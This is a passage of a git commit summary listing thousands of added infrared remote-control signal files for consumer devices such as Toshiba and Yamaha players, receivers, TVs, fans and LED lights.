.../_CSV-IRDB_/Symphonic/VCR/40,-1.ir | 170 + .../_CSV-IRDB_/Symphonic/VCR/44,-1.ir | 8 + .../_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir | 218 + .../_CSV-IRDB_/TCM/Unknown_218681/5,5.ir | 200 + .../_CSV-IRDB_/TCM/Unknown_225925/24,233.ir | 170 + .../_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir | 170 + .../_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir | 218 + .../_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir | 194 + .../_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir | 254 + .../_CSV-IRDB_/TEAC/DVD Player/163,-1.ir | 218 + .../_CSV-IRDB_/TEAC/DVD Player/175,-1.ir | 176 + .../_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir | 182 + .../_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir | 20 + .../_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir | 140 + .../_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir | 86 + .../_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir | 230 + .../_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir | 182 + .../TECHNICS/Unknown_EUR643880/160,10.ir | 182 + .../TECHNICS/Unknown_EUR64798/160,10.ir | 200 + .../TECHNICS/Unknown_EUR64799/160,10.ir | 200 + .../TECHNICS/Unknown_EURXP300/160,10.ir | 146 + .../_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir | 206 + .../TECHNICS/Unknown_sl-ps670a/160,10.ir | 206 + .../TECHNISAT/Unknown_100TS035/10,-1.ir | 206 + .../TECHNISAT/Unknown_FBPNA35/10,-1.ir | 206 + .../TECHNISAT/Unknown_FBPVR335A/10,-1.ir | 254 + .../TECHNISAT/Unknown_ST3002S/1,-1.ir | 176 + .../TECHNISAT/Unknown_ST3004S/1,-1.ir | 158 + .../TECHNISAT/Unknown_TECHNISAT/1,-1.ir | 32 + .../TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir | 200 + .../TECHNISAT/Unknown_TTS35AI/10,-1.ir | 200 + .../TECHNISAT/Unknown_st-6000e/131,121.ir | 218 + .../_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir | 194 + .../_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir | 122 + .../_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir | 134 + .../_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir | 362 + .../TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir | 194 + .../_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir | 128 + .../Tab Electronics/Unknown_Kit/0,-1.ir | 86 + .../6,248.ir | 146 + .../Technosonic/Unknown_DVD-204/16,237.ir | 254 + .../Technotrend/Unknown_DVB/21,-1.ir | 224 + .../Technotrend/Unknown_Micro/21,-1.ir | 200 + .../Technotrend/Unknown_S2400/21,-1.ir | 224 + .../Technotrend/Unknown_Technotrend/21,-1.ir | 224 + .../Technotrend/Unknown_remote/21,-1.ir | 194 + .../_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir | 134 + .../Telemann/PC HDTV Tuner Card/8,-1.ir | 44 + .../_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir | 242 + .../_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir | 236 + .../Tensai/Unknown_5340fb/134,124.ir | 140 + .../Terratec/Internet Radio/4,243.ir | 194 + .../_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir | 218 + .../Terratec/Unknown_Cinergy/134,107.ir | 212 + .../Terratec/Unknown_Cinergy/20,-1.ir | 290 + .../Terratec/Unknown_Cinergy/4,235.ir | 230 + .../_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir | 110 + .../_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir | 74 + .../Tesla/Unknown_32LCD70WDGHD/1,-1.ir | 248 + .../_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir | 200 + .../_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir | 182 + .../_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir | 218 + .../_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir | 242 + .../_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir | 206 + .../_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir | 206 + .../_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir | 200 + .../_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir | 236 + .../_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir | 230 + .../Tevion/Unknown_MDC-982PLL/162,162.ir | 92 + .../Tevion/Unknown_RS20536/67,71.ir | 206 + .../_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir | 218 + .../Tevion/Unknown_TDR-250HD/0,159.ir | 344 + .../Tevion/Unknown_TDR51DV/0,159.ir | 332 + .../Tevion/Unknown_TE-0603/64,63.ir | 260 + .../_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir | 290 + .../Tevion/Unknown_Tevion-MD80383/5,5.ir | 254 + .../23,105.ir | 260 + .../Tevion/Unknown_TevionMd3607/7,-1.ir | 176 + .../Theta Digital/DVD Player/163,-1.ir | 188 + .../Theta Digital/DVD Player/175,-1.ir | 146 + .../Theta Digital/Surround Processor/16,-1.ir | 242 + .../Thinkgeek/Unknown_Lightbulb/64,-1.ir | 170 + .../Thompson/Unknown_THOMPSON/133,48.ir | 224 + .../_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir | 242 + .../Thomson/Unknown_RCS615TCLM1/5,-1.ir | 176 + .../Thomson/Unknown_TM9258/128,255.ir | 80 + .../_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir | 158 + .../infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir | 140 + .../infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir | 212 + .../_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir | 224 + .../_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir | 134 + .../_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir | 260 + .../_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir | 278 + .../Topfield/Unknown_TF4000Fi/4,255.ir | 236 + .../Topfield/Unknown_TF4000PVR/32,-1.ir | 224 + .../Topseed/Unknown_Topseed/4,15.ir | 314 + .../_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir | 512 + .../infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir | 284 + .../Toshiba/Unknown_CT-816/64,-1.ir | 176 + .../Toshiba/Unknown_CT-826/64,-1.ir | 200 + .../Toshiba/Unknown_CT-832/64,-1.ir | 176 + .../Toshiba/Unknown_CT-859/64,-1.ir | 164 + .../Toshiba/Unknown_CT-90038/231,10.ir | 92 + .../Toshiba/Unknown_CT-90205/231,10.ir | 74 + .../Toshiba/Unknown_CT-90298/64,-1.ir | 224 + .../Toshiba/Unknown_CT-90326/64,-1.ir | 254 + .../Toshiba/Unknown_CT-9573/64,-1.ir | 152 + .../Toshiba/Unknown_CT-9784/64,-1.ir | 182 + .../Toshiba/Unknown_CT-9881/134,107.ir | 218 + .../Toshiba/Unknown_CT-9952/64,-1.ir | 188 + .../Toshiba/Unknown_G83C0008A110/4,15.ir | 266 + .../_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir | 206 + .../Toshiba/Unknown_SE-R0031/69,-1.ir | 266 + .../Toshiba/Unknown_SE-R0049/69,-1.ir | 272 + .../Toshiba/Unknown_SE-R0058/69,-1.ir | 296 + .../Toshiba/Unknown_SE-R0127/69,-1.ir | 86 + .../Toshiba/Unknown_TOSHIBA/64,-1.ir | 212 + .../Toshiba/Unknown_TOSHIBA/68,-1.ir | 236 + .../Toshiba/Unknown_TOSHTV/64,-1.ir | 116 + .../Toshiba/Unknown_TSR-101R/66,187.ir | 176 + .../Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir | 272 + .../Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir | 266 + .../Toshiba/Unknown_VC-642T/68,-1.ir | 242 + .../Toshiba/Unknown_VC-90B/68,-1.ir | 146 + .../_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir | 164 + .../Toshiba/Unknown_VT-204G/68,-1.ir | 230 + .../Toshiba/Unknown_VT-209W/68,-1.ir | 200 + .../Toshiba/Unknown_VT-75F/68,-1.ir | 206 + .../Toshiba/Unknown_toshiba-RM-A210/42,-1.ir | 134 + .../infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir | 194 + .../Total Control/Unknown_Control/7,-1.ir | 242 + .../Unknown_Media/2,189.ir | 212 + .../_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir | 86 + .../_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir | 260 + .../_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir | 134 + .../Turtle Beach/MP3 Player/1,-1.ir | 14 + .../Turtle Beach/MP3 Player/1,249.ir | 260 + .../Turtlebeach/Unknown_Audiotron/1,249.ir | 242 + .../Twinhan/Unknown_AD-SP200/0,-1.ir | 320 + .../_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir | 194 + .../_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir | 194 + .../Typhoon/Unknown_RC-0718-3/96,1.ir | 146 + .../_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir | 194 + .../_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir | 104 + .../US Electronics/Cable Box/0,-1.ir | 224 + .../Ultrawave/Unknown_3500PFTA/2,2.ir | 218 + .../_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir | 158 + .../_CSV-IRDB_/Uniden/Satellite/1,-1.ir | 242 + .../United/Unknown_United-DVD4057M/0,-1.ir | 284 + .../_CSV-IRDB_/Universal/Unknown_001/4,15.ir | 254 + .../_CSV-IRDB_/Universal/Unknown_006/56,-1.ir | 170 + .../_CSV-IRDB_/Universal/Unknown_089/6,-1.ir | 152 + .../_CSV-IRDB_/Universal/Unknown_101/6,-1.ir | 314 + .../Universal/Unknown_111/135,124.ir | 290 + .../Universal/Unknown_Knopex/7,-1.ir | 182 + .../Universal/Unknown_MC-10/5,-1.ir | 194 + .../Universal/Unknown_Powerhouse/166,-1.ir | 140 + .../_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir | 176 + .../Universal/Unknown_RM-V211T/2,-1.ir | 182 + .../Universal/Unknown_RZ-55/1,-1.ir | 290 + .../Universal/Unknown_URC-6012w/2,-1.ir | 194 + .../_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir | 290 + .../Universal/Unknown_lircd.conf/0,-1.ir | 188 + .../Universal/Unknown_lircd.conf/128,123.ir | 230 + .../Unknown_lt3607-aux599/135,124.ir | 146 + .../Unknown_testrecord.config/0,-1.ir | 290 + .../_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir | 20 + .../_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir | 32 + .../Venturer/Unknown_STB7766G1/66,187.ir | 164 + .../Venturer/Unknown_boombox/129,129.ir | 44 + .../_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir | 236 + .../Video7/Unknown_Video7-RC750/32,-1.ir | 152 + .../Vidikron/Video Projector/0,-1.ir | 164 + .../Unknown_98TR7BD-ONT-VSF/131,241.ir | 296 + .../ViewSonic/Unknown_RC00070P/131,241.ir | 266 + .../ViewSonic/Unknown_vsnv6/0,-1.ir | 176 + .../Viewmaster/Unknown_RC-03/73,-1.ir | 278 + .../_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir | 236 + .../Viewsat/Unknown_VS2000/32,255.ir | 236 + .../Virgin-media/Unknown_VIRGINTIVO/10,-1.ir | 260 + .../Visionetics/Unknown_Cable/134,107.ir | 110 + .../Vistron/Unknown_DVD-5211/0,-1.ir | 254 + .../Vistron/Unknown_LTM-3271E/8,-1.ir | 302 + .../_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir | 200 + .../_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir | 164 + .../_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir | 224 + .../_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir | 290 + .../_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir | 176 + .../_CSV-IRDB_/VocoPro/Karaoke/32,1.ir | 50 + .../Voxson/Unknown_PT2222-1/0,-1.ir | 290 + .../WD/Unknown_HDTVMediaPlayerV1/132,121.ir | 104 + .../_CSV-IRDB_/WD/Unknown_TV/132,121.ir | 104 + .../Westinghouse/Unknown_LVM-47W1/1,-1.ir | 182 + .../Westinghouse/Unknown_RMT/1,-1.ir | 272 + .../_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir | 50 + .../_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir | 290 + .../infrared/_CSV-IRDB_/XORO/Sat/0,191.ir | 260 + .../_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir | 188 + .../_CSV-IRDB_/Xantech/Programmer/6,-1.ir | 98 + .../_CSV-IRDB_/Xantech/Relay Module/6,-1.ir | 194 + .../Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir | 284 + .../Xtreamer/Unknown_Xtreamer/0,-1.ir | 206 + .../_CSV-IRDB_/YES/Unknown_YES/132,60.ir | 218 + .../_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir | 272 + .../Yamada/Unknown_DVX-6xxx/4,-1.ir | 272 + .../_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir | 194 + .../_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir | 236 + .../_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir | 176 + .../_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir | 182 + .../_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir | 320 + .../_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir | 278 + .../_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir | 80 + .../_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir | 326 + .../_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir | 8 + .../_CSV-IRDB_/Yamaha/CD Player/121,-1.ir | 1022 ++ .../_CSV-IRDB_/Yamaha/CD Player/122,-1.ir | 92 + .../infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir | 260 + .../_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir | 8 + .../_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir | 80 + .../infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir | 344 + .../infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir | 158 + .../infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir | 230 + .../infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir | 44 + .../infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir | 8 + .../infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir | 26 + .../infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir | 86 + .../_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir | 470 + .../_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir | 1634 ++ .../_CSV-IRDB_/Yamaha/DVD Player/176,0.ir | 524 + .../_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir | 1088 ++ .../_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir | 176 + .../_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir | 254 + .../_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir | 188 + .../_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir | 116 + .../infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir | 1022 ++ .../infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir | 218 + .../infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir | 752 + .../infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir | 218 + .../infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir | 332 + .../infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir | 26 + .../_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir | 152 + .../_CSV-IRDB_/Yamaha/Mini System/120,-1.ir | 266 + .../_CSV-IRDB_/Yamaha/Music Server/128,55.ir | 512 + .../_CSV-IRDB_/Yamaha/Plasma/80,-1.ir | 140 + .../_CSV-IRDB_/Yamaha/Projector/209,-1.ir | 998 + .../_CSV-IRDB_/Yamaha/Projector/240,-1.ir | 140 + .../_CSV-IRDB_/Yamaha/Receiver/0,-1.ir | 8 + .../_CSV-IRDB_/Yamaha/Receiver/0,0.ir | 8 + .../_CSV-IRDB_/Yamaha/Receiver/120,-1.ir | 332 + .../_CSV-IRDB_/Yamaha/Receiver/121,-1.ir | 8 + .../_CSV-IRDB_/Yamaha/Receiver/122,-1.ir | 14996 ++++++++++++++++ .../_CSV-IRDB_/Yamaha/Receiver/124,-1.ir | 620 + .../_CSV-IRDB_/Yamaha/Receiver/125,-1.ir | 986 + .../_CSV-IRDB_/Yamaha/Receiver/126,-1.ir | 13406 ++++++++++++++ .../_CSV-IRDB_/Yamaha/Receiver/127,1.ir | 6080 +++++++ .../_CSV-IRDB_/Yamaha/Receiver/15,-1.ir | 14 + .../_CSV-IRDB_/Yamaha/Receiver/209,-1.ir | 50 + .../_CSV-IRDB_/Yamaha/Receiver/4,-1.ir | 140 + .../_CSV-IRDB_/Yamaha/Receiver/6,-1.ir | 14 + .../_CSV-IRDB_/Yamaha/Receiver/8,-1.ir | 8 + .../Yamaha/Sound Projector/120,-1.ir | 1514 ++ .../Yamaha/Sound Projector/126,-1.ir | 452 + .../Yamaha/Stereo Receiver/125,-1.ir | 440 + .../Yamaha/Stereo Receiver/126,-1.ir | 122 + .../_CSV-IRDB_/Yamaha/Tuner/122,-1.ir | 104 + .../_CSV-IRDB_/Yamaha/Tuner/209,-1.ir | 56 + .../_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir | 272 + .../_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir | 182 + .../Yamaha/Unknown_JVCDVD/239,-1.ir | 158 + .../Yamaha/Unknown_RAV-12/122,-1.ir | 218 + .../_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir | 236 + .../_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir | 176 + .../Yamaha/Unknown_RAV207/122,-1.ir | 152 + .../Yamaha/Unknown_RCX-750/122,-1.ir | 188 + .../_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir | 116 + .../_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir | 170 + .../Yamaha/Unknown_RCX660/122,-1.ir | 278 + .../Yamaha/Unknown_RS-CD5/121,-1.ir | 128 + .../Yamaha/Unknown_RS-CX600/122,-1.ir | 56 + .../_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir | 62 + .../Yamaha/Unknown_RX-450/122,-1.ir | 62 + .../Yamaha/Unknown_RX-CX800/122,-1.ir | 194 + .../Yamaha/Unknown_RX-V850/122,-1.ir | 278 + .../Yamaha/Unknown_TX-1000/209,-1.ir | 56 + .../Yamaha/Unknown_V499920/122,-1.ir | 164 + .../Yamaha/Unknown_VI47320/209,-1.ir | 56 + .../Yamaha/Unknown_VI77760/127,-1.ir | 164 + .../Yamaha/Unknown_VJ59810/121,-1.ir | 116 + .../Yamaha/Unknown_VJI5420/121,-1.ir | 176 + .../Yamaha/Unknown_VK34080/121,-1.ir | 122 + .../Yamaha/Unknown_VK38010/122,-1.ir | 188 + .../Yamaha/Unknown_VM70300/122,-1.ir | 314 + .../Yamaha/Unknown_VP59040/122,-1.ir | 188 + .../Yamaha/Unknown_VQ95010/121,-1.ir | 182 + .../Yamaha/Unknown_VR81350/123,-1.ir | 116 + .../Yamaha/Unknown_VU71330/121,-1.ir | 182 + .../Yamaha/Unknown_Y-TV-1004/4,-1.ir | 98 + .../Yamaha/Unknown_YAMAHA/122,-1.ir | 200 + .../_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir | 242 + .../Yamaha/Unknown_cdx-493/121,-1.ir | 194 + .../_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir | 164 + .../Yamaha/Unknown_receiver/122,-1.ir | 104 + .../Yamaha/Unknown_vu50620/120,-1.ir | 272 + .../Yamaha/Unknown_yamaha-amp/122,-1.ir | 248 + .../Yamaha/Unknown_yamaha-rax7/122,-1.ir | 170 + .../Yamaha/Video Projector/209,-1.ir | 158 + .../_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir | 74 + .../_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir | 260 + .../Yamakawa/Unknown_dvd285vga/32,-1.ir | 266 + .../Yuan/Unknown_SmartVDO/128,-1.ir | 224 + .../Zalman/Unknown_HD160XT/115,154.ir | 260 + .../_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir | 152 + .../infrared/_CSV-IRDB_/Zenith/TV/5,1.ir | 224 + .../infrared/_CSV-IRDB_/Zenith/TV/7,0.ir | 50 + .../infrared/_CSV-IRDB_/Zenith/TV/7,1.ir | 14 + .../Zenith/Unknown_AKB36157102/247,-1.ir | 230 + .../_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir | 254 + .../_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir | 110 + .../_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir | 122 + .../Zenith/Unknown_ZN5015/26,154.ir | 194 + .../infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir | 182 + .../_CSV-IRDB_/Zenith/Video Projector/5,1.ir | 116 + .../_CSV-IRDB_/Zenith/Video Projector/6,0.ir | 86 + .../_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir | 266 + .../Zinwell/Satellite Receiver/64,223.ir | 158 + .../_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir | 146 + .../Zoltrix/Unknown_Zoltrix/0,252.ir | 128 + .../Zyxel/Unknown_DMA-1000/8,230.ir | 284 + .../_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir | 266 + .../audiosonic/Unknown_TXCD-1240/129,129.ir | 92 + .../_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir | 62 + .../daytron/Unknown_daytron/4,-1.ir | 68 + .../_CSV-IRDB_/dual/Unknown_dual/68,-1.ir | 170 + .../eltax/Unknown_corniche/0,246.ir | 272 + .../_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir | 170 + .../_CSV-IRDB_/huth/Unknown_prof/15,1.ir | 188 + .../_CSV-IRDB_/iPort/MP3 Player/1,222.ir | 164 + .../infrared/_CSV-IRDB_/iPort/iPod/1,222.ir | 164 + .../infrared/_CSV-IRDB_/iPort/iPort/1,222.ir | 158 + .../imon/Unknown_MultiMedian/6,-1.ir | 272 + .../_CSV-IRDB_/ione/Unknown_remote/0,-1.ir | 248 + .../italtel/Unknown_italtel/1,-1.ir | 170 + .../kendo/Unknown_RC-610/134,124.ir | 170 + .../_CSV-IRDB_/konig/Unknown_konig/128,99.ir | 260 + .../_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir | 128 + .../mStation/Unknown_mStation/64,175.ir | 74 + .../media-tech/Unknown_RUMBA/128,-1.ir | 116 + .../_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir | 182 + .../multiTEC/Unknown_multiTEC/7,-1.ir | 158 + .../oceanic/Unknown_oceanic/1,-1.ir | 116 + .../_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir | 170 + .../_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir | 236 + .../orion/Unknown_orion-RC57/128,126.ir | 44 + .../_CSV-IRDB_/orion/Unknown_orion/128,123.ir | 218 + .../palmbutler/Unknown_palmbutler/7,-1.ir | 248 + .../_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir | 152 + .../remotec/Unknown_remotec/0,-1.ir | 152 + .../remotec/Unknown_remotec1072/5,-1.ir | 140 + .../_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir | 140 + .../_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir | 242 + .../_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir | 230 + .../starhub/Unknown_starhub/33,144.ir | 248 + .../_CSV-IRDB_/sun/Unknown_sun/26,9.ir | 122 + .../_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir | 176 + .../_CSV-IRDB_/universum/SAT/97,135.ir | 122 + .../_CSV-IRDB_/universum/SAT_SR420/15,-1.ir | 176 + .../universum/Unknown_universum/0,-1.ir | 308 + .../universum/Unknown_universum/16,16.ir | 266 + .../_CSV-IRDB_/universum/VCR/128,123.ir | 266 + .../_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir | 176 + .../videologic/Unknown_rm201/134,107.ir | 80 + .../viewmaxpro/Unknown_viewmaxpro/32,64.ir | 206 + .../_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir | 218 + 3275 files changed, 689434 insertions(+) create mode 100644 assets/resources/infrared/ACs/Dreo/Dreo_Heater.ir create mode 100644 assets/resources/infrared/ACs/Dyson/Dyson_Air_Multiplier.ir create mode 100644 assets/resources/infrared/ACs/Dyson/Dyson_HP09.ir create mode 100644 assets/resources/infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir create mode 100644 assets/resources/infrared/ACs/Homedics/Homedics_Humidifier.ir create mode 100644 assets/resources/infrared/ACs/JETTools/JETTools_AFS-1000B.ir create mode 100644 assets/resources/infrared/ACs/Koldfront/Koldfront_WAC12001.ir create mode 100644 assets/resources/infrared/ACs/Koldfront_wac12001.ir create mode 100644 assets/resources/infrared/ACs/LG/LG_AC.ir create mode 100644 assets/resources/infrared/ACs/Lasko/Lasko_Fan.ir create mode 100644 assets/resources/infrared/ACs/Lasko/Lasko_Fan_Simple.ir create mode 100644 assets/resources/infrared/ACs/Lasko/Lasko_Heater.ir create mode 100644 assets/resources/infrared/ACs/Pelonis_PFS40D6ABB.ir create mode 100644 assets/resources/infrared/ACs/Vornado/Vornado.ir create mode 100644 assets/resources/infrared/ACs/Whynter/Whynter_AC.ir create mode 100644 assets/resources/infrared/ACs/Zenith/Zenith_AC.ir create mode 100644 assets/resources/infrared/Audio Receivers/Onkyo/Onkyo.ir create mode 100644 assets/resources/infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir create mode 100644 assets/resources/infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir create mode 100644 assets/resources/infrared/Blu-Ray/LG/LG_BlueRay.ir create mode 100644 assets/resources/infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir create mode 100644 assets/resources/infrared/CCTV/BrandUnknown/Szxlcom_cams.ir create mode 100644 assets/resources/infrared/CCTV/MarshallElectronics/Marshall_CV610.ir create mode 100644 assets/resources/infrared/Cable Boxes/Amino/Amino_Amigo.ir create mode 100644 assets/resources/infrared/Cable Boxes/DIRECTV/DIRECTV.ir create mode 100644 assets/resources/infrared/Cable Boxes/Telus/Telus_OptikTV.ir create mode 100644 assets/resources/infrared/Cameras/Sony/Nikon.ir create mode 100644 assets/resources/infrared/Cameras/Sony/Sony.ir create mode 100644 assets/resources/infrared/Consoles/Microsoft/Xbox.ir create mode 100644 assets/resources/infrared/Converters/RME/RME_ADI-2_DAC_FS.ir create mode 100644 assets/resources/infrared/Converters/ReadMe.md create mode 100644 assets/resources/infrared/Head Units/GPX/GPX_CDRadio.ir create mode 100644 assets/resources/infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir create mode 100644 assets/resources/infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/44_Button_LED.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/DMX_Light.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/LEDStrip.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/LED_44Key.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/Light_Strip.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir create mode 100644 assets/resources/infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir create mode 100644 assets/resources/infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir create mode 100644 assets/resources/infrared/LED Lighting/mlambert_rope_light.ir create mode 100644 assets/resources/infrared/Miscellaneous/AMI/AMI_Jukebox.ir create mode 100644 assets/resources/infrared/Miscellaneous/HDMI_Switch.ir create mode 100644 assets/resources/infrared/Miscellaneous/Hasbro/Furby/Furby.ir create mode 100644 assets/resources/infrared/Miscellaneous/LG/LG.ir create mode 100644 assets/resources/infrared/Miscellaneous/LaserX/LaserX_Tag.ir create mode 100644 assets/resources/infrared/Miscellaneous/ReadMe.md create mode 100644 assets/resources/infrared/Projectors/BenQ/BenQ.ir create mode 100644 assets/resources/infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir create mode 100644 assets/resources/infrared/Projectors/BrandUnknown/README.md create mode 100644 assets/resources/infrared/Projectors/BrandUnknown/Scrn_innov.ir create mode 100644 assets/resources/infrared/Projectors/BrandUnknown/Stlth_acou.ir create mode 100644 